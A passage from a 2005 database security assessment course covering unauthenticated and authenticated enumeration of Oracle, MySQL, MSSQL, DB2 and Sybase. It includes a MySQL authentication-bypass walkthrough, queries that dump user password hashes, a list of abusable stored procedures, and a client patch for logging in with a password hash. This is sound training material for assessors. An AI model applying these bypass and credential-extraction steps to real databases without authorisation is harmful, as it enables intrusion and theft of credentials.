as a backend database, the blank or easily guessed SA password has been a crippling
error of configuration. With servers that are configured to run with high privileges within
the Operating System, such as Local System, access to the database with SA credentials
can allow full compromise of that host and facilitate further attacks within the network.
Sybase ASE also suffers from the potential weak configuration of the SA account. There
are many tools available to check for the existence of blank or easily guessed SA
passwords. For Microsoft SQL Server, the SQLdict utility can perform a simple dictionary
check against the account which can include a blank entry:

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

86

Module 5: Unauthenticated Database Enumeration

A more generic way to look for blank SA passwords on Microsoft SQL Server and Sybase
ASE is to configure an ODBC connection within a Windows Operating System. This is
generally achieved by using the Microsoft ODBC Administrator to configure a System DSN
in the following way:
After selecting the database type, the host IP address is specified.

Specify the database authentication option instead of Integrated Windows Auth.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

87

Module 5: Unauthenticated Database Enumeration

Enter the SA account and leave the password blank, if the password is not blank the
following dialogue will be displayed:

However, if the password is successful the ODBC Administrator will guide you through
some additional options before providing the following summary:

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

88

Module 5: Unauthenticated Database Enumeration

Opting to test the data source will result in the following screen if the password selected is
correct for the user account:

This technique can be used for Sybase ASE if the correct ODBC driver is present within
the Operating System. Obviously, any password can be attempted rather than simply a
blank attempt. However, to check a large number of attempts a tool similar to SQLdict is
preferable.

Finding MySQL and DB2 Defaults


MySQL has historically been plagued in a similar way to Sybase and MS SQL server. The
default root account is often installed by default with a blank password. It is possible to
check for this in a number of ways.
The database scanner Metacoretex
(http://www.metacoretex.com) can check for a MySQL blank root password. This tool will
be looked at in more detail with other Database Vulnerability Scanners later in the course.
By default the DB2 administration account is db2admin, the password for which is set
during installation by the administrator. It is an Operating System account and so can be
checked using the normal Windows or UNIX methods. The following screenshots show

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

89

Module 5: Unauthenticated Database Enumeration


the dbadmin account enumerated and revealed to have a weak password on a Windows
server by using the NBTDump tool, developed by NGS Director David Litchfield.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

90

Module 5: Unauthenticated Database Enumeration

Bypassing MySQL Authentication


It was discovered by Chris Anley of NGS Software that by submitting a carefully crafted
authentication packet, it is possible for an attacker to bypass password authentication
completely in MySQL 4.1.0 to 4.1.2, and early builds of 5.0. The following source code
indicates the problem issue (from check_connection (sql_parse.cpp):
/*
Old clients send null-terminated string as password; new clients
send
the size (1 byte) + string (not null-terminated). Hence in case of
empty
password both send '\0'.
*/
uint passwd_len= thd->client_capabilities &
CLIENT_SECURE_CONNECTION ?
*passwd++ : strlen(passwd);
Provided 0x8000 is specified in the client capabilities flags, the user can specify the
passwd_len field of their choice. For this attack, we will choose 0x14 (20) which is the
expected SHA1 hash length. Several checks are now carried out to ensure that the user
is authenticating from a host that is permitted to connect. Provided these checks are
passed, we reach the following:
/* check password: it should be empty or valid */
if (passwd_len == acl_user_tmp->salt_len)
{
if (acl_user_tmp->salt_len == 0 ||
acl_user_tmp->salt_len == SCRAMBLE_LENGTH &&
check_scramble(passwd, thd->scramble, acl_user_tmp->salt) == 0 ||
check_scramble_323(passwd, thd->scramble,
(ulong *) acl_user_tmp->salt) == 0)
{
acl_user= acl_user_tmp;
res= 0;
}
}
In this case, the check_scramble function fails, but within the check_scramble_323 function
we see the following:
my_bool
check_scramble_323(const char *scrambled, const char *message,
ulong *hash_pass)
{
struct rand_struct rand_st;

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

91

Module 5: Unauthenticated Database Enumeration

ulong hash_message[2];
char buff[16],*to,extra; /* Big enough for check */
const char *pos;
hash_password(hash_message, message, SCRAMBLE_LENGTH_323);
randominit(&rand_st,hash_pass[0] ^ hash_message[0],
Page 6
hash_pass[1] ^ hash_message[1]);
to=buff;
for (pos=scrambled ; *pos ; pos++)
*to++=(char) (floor(my_rnd(&rand_st)*31)+64);
extra=(char) (floor(my_rnd(&rand_st)*31));
to=buff;
while (*scrambled)
{
if (*scrambled++ != (char) (*to++ ^ extra))
return 1; /* Wrong password */
}
return 0;
}
At this point, the user has specified a 'scrambled' string that is as long as they wish. In the
case of the straightforward authentication bypass, this is a zero-length string. The final
loop compares each character in the 'scrambled' string against the string that mysql knows
is the correct response, until there are no more characters in 'scrambled'. Since there are
no characters *at all* in 'scrambled', the function returns '0' immediately, allowing the user
to authenticate with a zero-length string.
This bug is relatively easy to exploit, although it is necessary to write a custom MySQL
client in order to do so; since source code is available this isnt too hard to achieve.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

92

Module 5: Unauthenticated Database Enumeration

Module Summary
In this module we have seen that a great deal of information can be gathered from the
most common databases found in large networks without the use of database
credentials. The following has been covered by Module 5: Unauthenticated Database
Enumeration:

Using port scanners and signature checkers such as Nmap and Amap to establish
running database services within a network. Establishing database services that
are listening on arbitrary non-default ports.

Issuing requests for information directly to the Oracle TNS Listener and returning
the remote Operating System type, database version, database instances / SID
and security settings.

The direct attack and exploitation of the Oracle TNS Listener using known
vulnerabilities and the possibility for host compromise using log file poisoning.

Discovering and enumerating data from IBM DB2 servers.

Sniffing version numbers and authentication data from network traffic.

Enumerating weak and default database credentials from IBM DB2, MySQL,
Microsoft SQL Server, Oracle and Sybase ASE.

Bypassing MySQL Authentication

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

93

Module 6: Authenticated Database Enumeration

Authenticated Database Enumeration

Module Abstract
To many people it may seem a fruitless or unrealistic endeavour to conduct database
assessment with valid credentials, since a normal database login provides considerable
access to the database. Authenticated database assessment serves an important
purpose when analysing the security posture of a database installation. There are many
ways for an attacker to either gain valid credentials or execute queries against a database
without directly providing authentication or by exploiting default product conditions (see
module 5). Based upon this condition, it is invaluable to assess the attack surface area of
a database from an authenticated standpoint.
This module will outline the options available to an attacker with the ability to run queries
against a database. Understanding the potential dangers to the host and data contained
within the database will highlight any requirement for the hardening of vulnerable or
exposed areas.

Module Overview
This course module consists of the following topics:

Establishing All Database Users

Listing Tables, Stored Procs, Functions & Packages

Determining Roles, Privileges & Permissions

Hunting for Dangerous (Useful) Default Content

Running Password Audits & Bypassing Auth.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

94

Module 6: Authenticated Database Enumeration

Establishing All Database Users


By knowing which tables to query within a database, a full database user list can be
collected. For an attacker this may provide the opportunity to raise privileges or obtain a
better foothold within the database instance. From an assessors perspective it is
important to ensure that only valid and required user accounts are present within a
database installation. The removal of unused accounts can only begin if the accounts
have been highlighted by a security assessment. In most cases, the database user
password hash can also be revealed from the same table in the attacker has enough
privilege. This can be used to crack the password offline.

Oracle Database Users


By entering the following query, a list of all database users can be returned:
select * from SYS.user$

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

95

Module 6: Authenticated Database Enumeration

MySQL Database Users


By entering the following query, a list of all database users can be returned:
select * from user

Microsoft SQL Server Database Users


By entering the following query, a list of all database users can be returned:
select * from sysxlogins

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

96

Module 6: Authenticated Database Enumeration

IBM DB2 Database Users


Enumeration within DB2 is slightly more complex than other databases, as the database
relies entirely on OS accounts. By entering the following query, a list of all database users
can be returned:
(select GRANTEE Username from syscat.DBAUTH where granteetype ='U')
UNION (select GRANTEE Username from syscat.TABAUTH where granteetype = U')
UNION (select GRANTEE Username from syscat.INDEXAUTH where granteetype = 'U')
UNION (select GRANTEE Username from syscat.COLAUTH where granteetype = 'U')
UNION (select GRANTEE Username from syscat.SCHEMAAUTH where granteetype = 'U')
UNION (select GRANTEE Username from syscat.ROUTINEAUTH where granteetype = 'U')
UNION (select GRANTEE Username from syscat.PASSTHRUAUTH where granteetype = 'U')
UNION (select GRANTEE Username from syscat.TBSPACEAUTH where granteetype = 'U')
UNION (select GRANTEE Username from syscat.PACKAGEAUTH where granteetype = 'U')

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

97

Module 6: Authenticated Database Enumeration

Sybase ASE Database Users


By entering the following query, a list of all database users can be returned:
select * from syslogins

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

98

Module 6: Authenticated Database Enumeration

Listing Tables, Stored Procs, Functions & Packages


It is important to catalogue the database resources available within an installation during
assessment. Often there are many objects installed by default that are not required by a
production database. Reducing the overall potential attack surface area of the product
installation is the main goal of database security assessment.
There are several ways to catalogue database resources with database credentials and
the degree of exposure will depend simply upon the level of permission the assessor has
within the database. In the same way that the user list was obtained, it is possible to
submit database SQL statements to retrieve lists of stored procedures, functions,
packages and tables.

MS SQL Server Resource Enumeration (T-SQL)


The simplest option is to query the sysobjects table within the SQL Server installation by
different X-TYPEs. The most useful queries are as follows:
User Tables for a given Database
select * from sysobjects where xtype='u'
System Tables for a given Database
select * from sysobjects where xtype='s'
Stored Procedures for a given Database
select * from sysobjects where xtype='p'
Functions for a given Database
select * from sysobjects where xtype='fn'
Extended Stored Procedures for a given Database
select * from sysobjects where xtype='x'
A different way of achieving a similar goal is to enumerate the data from syscomments in
conjunction with sysobjects, for example:
List Functions Created
select sysobjects.name, syscomments.text from
sysobjects,syscomments where syscomments.id = sysobjects.id and
sysobjects.xtype = FN

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

99

Module 6: Authenticated Database Enumeration

List Stored Procedures


select sysobjects.name, syscomments.text from
sysobjects,syscomments where syscomments.id = sysobjects.id and
sysobjects.xtype = 'P'

Sybase ASE Resource Enumeration


A similar technique can be used for Sybase to search for Stored Procedures with an
exec in the contained text:
select SYSPROCEDURE.proc_name, SYSPROCEDURE.proc_defn from
SYSPROCEDURE, SYSPROCPERM where SYSPROCEDURE.proc_defn LIKE
'%exec%' and SYSPROCEDURE.proc_id = SYSPROCPERM.proc_id order by
SYSPROCEDURE.proc_name;

Graphical Representations
The majority of modern databases do not simply rely upon direct SQL statements, but
instead provide GUI based clients for query access and administration. This is a good
place to start if you require an at-a-glance overview of a database layout. As we have
seen in Module 4: Building a Database Assessment Toolkit the DbVisualizer tool is good
at providing graphical views across many different types of databases.
The screenshot over leaf shows DbVisualizer exploring tables and views in an Oracle
database.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

100

Module 6: Authenticated Database Enumeration

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

101

Module 6: Authenticated Database Enumeration

Determining Roles, Privileges & Permissions


Establishing roles, privileges and permissions for database users and groups is essential
to ensure that access control is protecting vulnerable areas of the installation. Weak
default permissions or bad configuration choices during deployment can leave potentially
harmful or sensitive database resources exposed to misuse.

Oracle Roles, Privileges, Permissions & Access


There are many ways to determine the level of access or database role that a user
account has, however, it can be tedious and time consuming to do so. A good example of
a way to speed this process up is the auditing scripts produced by Oracle database expert
Pete Finnigan (http://www.petefinigan.com). He has developed four scripts that provide
the answers to our questions regarding roles, privileges, permissions and access. Petes
Copyright and usage policy prevents us from publishing the scripts here, but they are free
for commercial and non-commercial use. The following summarises each script:

find_all_privs.sql When this script is executed it determines the ROLES,


SYSTEM privileges and object privileges granted to a user. If a ROLE is detected
it is then checked recursively. The output of the tool can be either simply to the
screen or to a file.

who_has_role.sql This script can be used to find which users and ROLES have
been granted to a specific ROLE. The checks are performed hierarchically via the
ROLES granted to ROLES. The output of the tool can be either simply to the
screen or to a file.

who_has_priv.sql This script is used to find which users have been granted the
privilege passed in. Again the script checks hierarchically for each user granted
the privileges via a role. The output of the tool can be either simply to the screen
or to a file.

who_can_access.sql Finally, this script can be used to find who can access an
object that is specified. It checks recursively for users hierarchically via ROLES.
The output of the tool can be either simply to the screen or to a file.

The use of these scripts is representative of the types of auditing that can be performed on
these objects for any database.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

102

Module 6: Authenticated Database Enumeration

Hunting for Dangerous (Useful) Default Content


There are several packages and procedures within default database installations that can
by misused by an attacker to perform attacks against the server host and network as a
whole. By highlighting common attack techniques in this way it becomes obvious where
areas should be tightened within a database installation.

Microsoft SQL Server Stored / Ext Stored Procedures


MS SQL Server contains many Stored and Extended Stored Procedures and several of
those can be used by a malicious attacker to attack either the database server or the
network in which it resides. The following resources are of particular note (further
demonstrations and examples are available further into the course material):

xp_regaddmultistring - Used to add a value to an existing multi-value string entry.

xp_regdeletekey - Deletes a registry key and its values if it has no sub keys.

xp_regdeletevalue - Deletes a specific registry value.

xp_regenumkeys - Returns all sub keys of a registry key.

xp_regenumvalues - Returns all values below a registry key.

xp_regread - Returns the values of a particular key.

xp_regremovemultistring - Delete a value from an existing multi-value string entry.

xp_regwrite - Writes a specified value to an existing registry key.

xp_availablemedia - Shows the physical drives on the server.

xp_cmdshell - Allows execution of operating system commands in the security


context of the SQL Server service. The most powerful and widely abused stored
procedure.

xp_enumerrorlogs - Displays the error logs used by SQL Server.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

103

Module 6: Authenticated Database Enumeration

xp_enumgroups - Lists the Windows user groups defined on the server.

xp_eventlog - Used to read the Windows event logs.

xp_execresultset - An undocumented procedure used to execute a number of


commands passed as a result set. Can be abused to quickly perform brute-force
attacks against passwords if the password dictionary is available as a result set.

xp_fileexist - Tests if a specified file exists on the servers file system.

xp_fixeddrives - Returns information about the servers drives and free space.

xp_getfiledetails - Returns information about a particular file on the server, such as


its size/creation date/last modified.

xp_getnetname - Shows the servers network name, this could allow an attacker to
guess the names of other machines on the network.

Sybase ASE contains many of the same procedures, in particular xp_cmdshell.

Oracle Default Packages


There are several Oracle default packages that can be used by a malicious attacker to
attack either the server host or the network within which it resides. The following
resources are of particular note (further demonstrations and examples are available further
into the course material):

DBMS_SCHEDULER With the advent of Oracle 10g comes the new


DBMS_SCHEDULER package that can be used to run Operating System
commands against the hosting server. It contains a CREATE_JOB procedure that
creates new jobs to be run by the database server. If a malicious attacker can use
this functionality it may be possible to launch attacks against the database server.

DMBS_JAVA Java is integrated directly into Oracle and can be called from
PL/SQL statements providing that the user executing the statements is granted
the relevant permissions with DBMS_JAVA. Operating System commands can be
executed against the server enabling a malicious attacker with said rights the
opportunity for compromise.

UTL_FILE This package can be used to read data information from or write
information to the server file system. A malicious attacker may do this to read out
sensitive data such as Operating System passwords.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

104

Module 6: Authenticated Database Enumeration

UTL_TCP This package is used to make arbitrary use of TCP sockets to send
and receive network data. It provides an attacker great flexibility for attacking the
server or other hosts within the local network. In further modules you will see how
an attacker can construct a PL/SQL based port scanning tool based upon this
package.

UTL_HTTP Using this package an attacker can craft specific attacks against
web servers.
UTL_HTTP supports proxy servers, cookies, redirects and
authentication meaning that an attacker can craft a tool to either attack a web
server or gain web access to a resource (possibly the Internet).

UTL_SMTP This package provides the ability to send emails. It can be


especially useful for an attacker that wishes to steal database data and query
results.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

105

Module 6: Authenticated Database Enumeration

Running Password Audits & Bypassing Auth.


Once the password hashes have been obtained from a database server, it is generally
trivial to run hash cracking tools to determine the strength of account passwords. It is not
often necessary to crack each password hash, but instead run hash cracking attempts for
a fixed period of time to locate weak passwords. Additionally, some cases exist that
permit the bypass of hash cracking activities or regular authentication.

Cracking Oracle Password Hashes


Once Oracle password hashes have been obtained it is usually trivial to crack the hash to
the original clear text password using readily available tools. It should be realised
however that the algorithm uses the format data encryption standard (DES), so should not
be considered trivial in nature.
Oracle passwords are encrypted using the Data Encryption Standard (DES) algorithm.
This effectively creates eight-byte hashes of the password, which are stored in the
SYS.USER$ table. The process of creating the hash appends the username and clear
text password together before breaking it up into eight-byte pieces. The first eight bytes of
the username password combination are used as a key to DES encrypt the magic number
0x0123456789ABCDEF. The resulting eight bytes are then encrypted with the next eight
bytes of the username / password producing a new eight-byte value. The process is
repeated until the entire username / password string has been used. To combat the
possibility of users with the same password, having the same hash - Oracle uses the
individual username as a salt when creating the hash.
This should be considered a simplified view of how Oracle passwords are encrypted within
the database. There are other considerations and other factors that allow the cracking of
the process to be streamlined.
The following screenshot shows NGS Squirrel for Oracle cracking Oracle password
hashes:

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

106

Module 6: Authenticated Database Enumeration

Cracking MySQL Password Hashes


Once MySQL password hashes have been obtained it is a trivial process to crack the hash
to the original clear text password using readily available tools. The following screenshot
shows the MySQL Hash Cracker (distributed through Securiteam) cracking password
hashes:

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

107

Module 6: Authenticated Database Enumeration

Cracking Microsoft SQL Server Password Hashes


Once Microsoft SQL Server password hashes have been obtained it is trivial to crack the
hash to the original clear text password using available tools. The following screenshot
shows NGSSQLCrack cracking password hashes:

Bypassing MySQL Authentication with a Client Side Patch


A client side vulnerability exists within the MySQL 4.0.x source tree that allows a simple
patch to be applied to the mysql command line client. The patch changes the
authentication model for the client to use password hashes instead of actual clear text
passwords. This obviously means that cracking the password hash is not a required step
to gaining access to the database installation. Firstly add the following function into the
password.c file in libmysql:
void get_hash(ulong *result, const char *password)
{
if( strlen( password ) != 16 )
return;
sscanf( password, "%08lx%08lx", &(result[0]), &(result[1]) );
return;
}
The function scramble should by altered by commenting out the following line of code:
hash_password(hash_pass,password);

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

108

Module 6: Authenticated Database Enumeration

And adding the following line after the newly commented line:
get_hash(hash_pass,password);
Recompiling the mysql command line tool will now allow the authentication process to use
the password hash instead of the actual password. For example:
mysql -u root -p5d2e19393cc5ef67

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

109

Module 6: Authenticated Database Enumeration

Module Summary
In this module we have seen the type of information a database assessment should check
when database credentials are either available or have been enumerated. The following
elements have been discussed:

Determining Database Users Using the enumerated or given credentials it is


invaluable to determine a full list of database users. This stage also generally
yields the user password hashes for later exercises.

Collating Database Resources Listing all database objects that have security
relevance is an invaluable exercise, determining tables, views Stored Procs etc.

Listing Database User Access Determining the level of access and permission
each database user has over the objects defined.

Finding Dangerous Default Content There are many resources within default
database installations that can be considered dangerous content or potentially
harmful should a malicious attacker gain access to it. Determining this content
and assessing its suitability for inclusion or omission is a vital part of the database
assessment.

Performing Password Audits Using the obtained user password hashes it is


important to run a password cracking exercise for a period of time to determine
weak password options.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

110

Module 7: Identifying Database Vulnerabilities

Identifying Database Vulnerabilities

Module Abstract
Good enumeration of your database will reveal configuration errors and default content
that can lead to a compromise. Once enumeration has reached a satisfactory level, it is
possible to launch direct probes for specific known database vulnerabilities.
This module deals with the process of identifying database vulnerabilities that can lead to
compromise of the data , host or network integrity.

Module Overview
This course module consists of the following topics:

Database Detection over a Network

Automated Database Assessment

Using Online Resources

Placing Vulnerabilities in a Business Context

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

111

Module 7: Identifying Database Vulnerabilities

Database Detection over a Network


It may seem strange that vulnerability scanners do not always detect a database on the
network, even though this may be one of the most interesting targets to an attacker. What
is even more surprising is that many tools do not even scan the relevant ports at all. The
Nmap well-known services, one of the main sources from which scanners are derived,
makes no mention of port 50000, the generic listening port for a DB2 database. Nmap (or
many other scanners) would not even identify a DB2 database.
Once an open port is discovered, conventional vulnerability scanning tools will not perform
much enumeration. Nessus will enumerate versions from an Oracle listener and from the
MSSQL UDP port, but will not look at other databases. Tools such as Retina and Shadow
do not perform any database checks or identification. Other companies release separate
products to scan databases and have a separate tool for network-wide assessment.
As seen from the Unauthenticated Enumeration section, databases are not hard to detect
over a network if the tool is looking for them. DB2 will even respond to a broadcast
message. We have also seen that signature based checking with tools such as Amap can
confirm the presence of database services within a network.
An example of tools which perform this assessment are presented in the next section.
While it is not possible to create a comprehensive list of database ports (some do not
listen on a default port), the following list should cover them as far as possible:
66
66
118
118
134
134
150
150
156
156
523
523
532
1112
1114
1114
1360
1360
1433

tcp
udp
tcp
udp
tcp
udp
tcp
udp
tcp
udp
tcp
udp
tcp
tcp
tcp
udp
tcp
udp
tcp

sql*net
sql*net
sqlserv
sqlserv
ingres-net
ingres-net
sql-net
sql-net
sqlsrv
sqlsrv
ibm-db2
ibm-db2
ibm-db2
msql
mini-sql
mini-sql
mimer
mimer
ms-sql-s

Oracle SQL*NET
Oracle SQL*NET
SQL Services
SQL Services
INGRES-NET Service
INGRES-NET Service
SQL-NET
SQL-NET
SQL Service
SQL Service
IBM-DB2
IBM-DB2
IBM DB2 admin listener
mini-sql server
Mini SQL
Mini SQL
MIMER
MIMER
Microsoft-SQL-Server

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

112

Module 7: Identifying Database Vulnerabilities

1433
1434
1434
1498
1498
1498
1498
1498
1498
1521
1524
1524
1978
1978
1979
1979
2041
2041
2439
2439
2520
2520
2638
2638
3050
3065
3065
3306
3306
3306
3306
3352
3352
4333
5432
6789
50000

udp
tcp
udp
tcp
udp
tcp
udp
tcp
udp
tcp
tcp
udp
tcp
udp
tcp
udp
tcp
udp
tcp
udp
tcp
udp
tcp
udp
tcp
tcp
udp
tcp
udp
tcp
udp
tcp
udp
tcp
tcp
tcp
tcp

ms-sql-s
ms-sql-m
ms-sql-m
sybase-sqlany
sybase-sqlany
watcom-sql
watcom-sql
sybase-sqlany
sybase-sqlany
oracle
ingreslock
ingreslock
unisql
unisql
unisql-java
unisql-java
interbase
interbase
sybasedbsynch
sybasedbsynch
Pervasive
Pervasive
sybase
sybaseanywhere
slinterbase
slinterbase
mysql
mysql
mysql
mysql
ssql
ssql
msql
postgres
ibm-db2-admin
ibm-db2

Microsoft-SQL-Server
Microsoft-SQL-Monitor
Microsoft-SQL-Monitor
Sybase SQL Any
Sybase SQL Any
watcom-sql
watcom-sql
Sybase SQL Any
Sybase SQL Any
Oracle 8 SQL (default)
ingres
ingres
UniSQL
UniSQL
UniSQL Java
UniSQL Java
Interbase
Interbase
SybaseDBSynch
SybaseDBSynch
Listener
Listener
Sybase database
Sybase Anywhere
interbase
slinterbase
slinterbase
MySQL
MySQL
MySQL
MySQL
SSQL
SSQL
mini-sql server
postgres database server
dB2 Web Control Center
IBM DB2 generic listener

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

113

Module 7: Identifying Database Vulnerabilities

Automated Database Assessment


An automated scanner is a series of checks built into a single tool. These can be divided
into two categories: SQL checks (usually with some form of authentication), and checks
sent directly over a socket. The latter checks extract information from the servers banners
or packets. SQL checks extract information from the database.
All checks (or almost all checks) in a vulnerability scanner have one common trait; they do
not actually exploit a vulnerability, but rely on certain conditions being matched. Generally,
this is as simple as locating the vulnerable function, file or port, and locating some
returned information that indicates the patch level. The returned information may be a
particular set of options in a packet, a version number, or a giveaway error message. A
database scanner, once authenticated to the database, has a much better chance of
determining a vulnerability as there is more information available than for a conventional
network-wide scanner, which will often have to rely on ports and banners.
Vulnerability assessment should be mindful of the limitations faced by a scanner, and an
assessment methodology should check results for consistency and plausibility. This point
is developed in the following section, but the first step is to demonstrate some of the
checks a scanner will perform:

General Checks

Version information and fingerprinting

Login and password authentication mechanisms

Configuration on the network (MSSQL Monitor port accessible, Oracle listener


checks, SNMP/ other modules enabled)

An example of fingerprinting DB2 is displayed below. As seen in previous modules, DB2


allows the user to extract a great deal of information without authentication, including the
installation path, OS Version and Service Pack, IP configuration and usernames.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

114

Module 7: Identifying Database Vulnerabilities

Squirrel for DB2 Database Fingerprinting

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

115

Module 7: Identifying Database Vulnerabilities

Authenticated SQL Checks

Database layout: tables, procedures, triggers, links

Permissions: permissions set for powerful procedures, roles and system tables

Custom code checks: checks for flaws in code in the business layer

Patch levels: find vulnerable packages and compare with version numbers and
patches

Configuration: startup modes, linked databases, log and audit file options

As most of the checks are SQL, an automated assessment could consist of a SQL scripts.
As we have seen previously, Pete Finnigan has produced assessment scripts for Oracle,
which are available from his website (www.petefinnigan.com).

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

116

Module 7: Identifying Database Vulnerabilities

The types of authenticated check performed by a scanner on different databases can be


seen from these screenshots:

Squirrel for Oracle default passwords, permissions checks, Patch checks.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

117

Module 7: Identifying Database Vulnerabilities

Squirrel for Sybase business layer vulnerabilities, default login, information gathered

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

118

Module 7: Identifying Database Vulnerabilities

Squirrel for MSSQL configuration checks (weakly encoded password)


In theory there is nothing a vulnerability scanner cannot do that a human can. In practice,
current scanners have strengths and weaknesses. Scanners excel at any iterative task,
such as locating dangerous default objects from an internal list, brute-forcing passwords
and password hashes, and mapping permissions to users. By contrast, a person will be
better placed to perform any unique aspect of a database, custom code, or issue requiring
verification.
Areas in which scanning tools excel:

Permissions checks

Default users

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

119

Module 7: Identifying Database Vulnerabilities

Password cracking

Enumeration of dangerous objects

Configuration checks

Areas where scanning tools may require verification:

Identification of missing patches

Areas vulnerability scanners will not test:

Business layer vulnerabilities (code added to the database)

Vulnerabilities in the host operating system

The next section should help match vulnerabilities to risk. The next section, Exploiting
Database Vulnerabilities will show how vulnerabilities should be verified.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

120

Module 7: Identifying Database Vulnerabilities

Using Online Resources


Several good sources of vulnerability information are available on-line. In general, if
researching a specific vulnerability, the best sources are the original discoverers of the
vulnerability.
For database vulnerabilities, two good sources are:
http://www.appsecinc.com/resources/alerts/ (good write-ups)
http://www.ngssoftware.com/advisory.htm (write-ups limited to 3-months disclosure
windows)
For full listings of vulnerabilities, the following are useful (in order of usefulness):
http://www.osvdb.org/search.php
http://www.securityfocus.com/bid
http://icat.nist.gov/icat.cfm
http://www.cve.mitre.org/

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

121

Module 7: Identifying Database Vulnerabilities

Placing Vulnerabilities in a Business Context


More than any other vulnerability, the severity of database vulnerabilities depends heavily
on the environment. An automated tool or online advisory does not always provide an
accurate indication of the risk level. There are several reasons why this cannot be
achieved:

Business Layer Attacks


The most important assets in the database are the tables created by the business; if a
user can access a table containing sensitive information, there is no other vulnerability
required. Very often, users do have select privileges on tables they should not access
this is likely due to the effort required in providing table-by-table (or even row-level)
security for users, and assumptions made by the system developers, who provide a locked
down client application for access. A tool does not know which tables are sensitive.

Server Trust
If the database holds the business plans, risks, budget and salaries for the company,
compromising the database is the attackers end goal. If the server holds the stationary
order, there is no value in the database and its contents. Server compromise will be more
important. The server may provide a foothold onto a domain, internal network, or allow
compromise of the client systems connecting to it.

Vulnerability Chaining
Vulnerabilities identified by a scanner are identified in isolation; while it would not be
impossible to link vulnerabilities, currently tools do not attempt to chain together
vulnerabilities to demonstrate a larger vulnerability. Chaining, particularly in databases, is
an important aspect of the vulnerability grading process. The flow chart below shows the
role a vulnerability may play in allowing an attacker to achieve the end goal, and
introduces the next module, Exploiting Vulnerabilities.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

122

Module 7: Identifying Database Vulnerabilities

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

123

Module 7: Identifying Database Vulnerabilities

Several points can be derived from the diagram:


If the end goal is data compromise, there is a short cut, this is often trivial in a 2-tier
system and straightforward in a 3-tier system with SQL injection. However, an attacker
with data compromise as an end goal may also take a direct line from any of the boxes
above.
Unauthenticated attacks get OS privileges immediately, however if the end goal is data
compromise the attacker can normally get into the database using straightforward
methods. An attacker may also be able to byte-patch the running database process in
memory and remove authentication:
http://www.ngssoftware.com/papers/violating_database_security.pdf
Moving from the database to the operating system is generally the easiest step, as if the
database is fully compromised, any buffer overflow, format string, external library or file
access is available to the attacker.
In general, configuration and logic flaws within business logic are far more simple and
reliable escalation methods.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

124

Module 7: Identifying Database Vulnerabilities

Module Summary
To assess databases, a purpose-built database assessment tool is required. To locate
databases, a user should set up their own port list.
Vulnerability Assessment tools excel in enumerating permissions and objects. For
confirmation of patch status, manual assessment is required (although a scanner will
generally guess correctly, there is a error margin of false positives, and possibly false
negatives)
In general, configuration and logic flaws within business logic are far more simple and
reliable escalation methods than exploiting a database vulnerability.

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

125

Module 8: Exploiting Vulnerabilities to Gain Control

Exploiting Vulnerabilities to Gain Control

Module Abstract
Abstract
Many people have utilised automated vulnerability scanners to find security vulnerabilities
within a networked host. However, in most cases, the results returned to the user are not
clear, contain technical detail that the user does not understand or reflect false positives
inherent in the crudeness of the vulnerability checks. It generally, takes a level of
understanding to determine the actual risk to you and your organisation based upon what
the tool or low-level consultancy services are telling about the system.
This module aims to explain and demonstrate some of the most critical vulnerabilities that
exist within database systems that can allow an attacker to compromise the integrity of the
data of the hosting server itself.

Module Overview
This course module consists of the following topics:

Misusing Stored & Extended Stored Procs

More Code Injection within Database Resources

Reading & Writing Arbitrary System Files

Breaking Out of the Database

Exploiting Function & Temporary Stored Proc Bugs

Ad-hoc Queries & SQL Agent Misuse

Exploiting Boundary Conditions with Buffer Overruns

Advanced Exploitation with Rootkits Runtime Patching

Notes

Advanced Database Security Assessment


Copyright 2005 Next Generation Security Software ltd.

126

Module 8: Exploiting Vulnerabilities to Gain Control

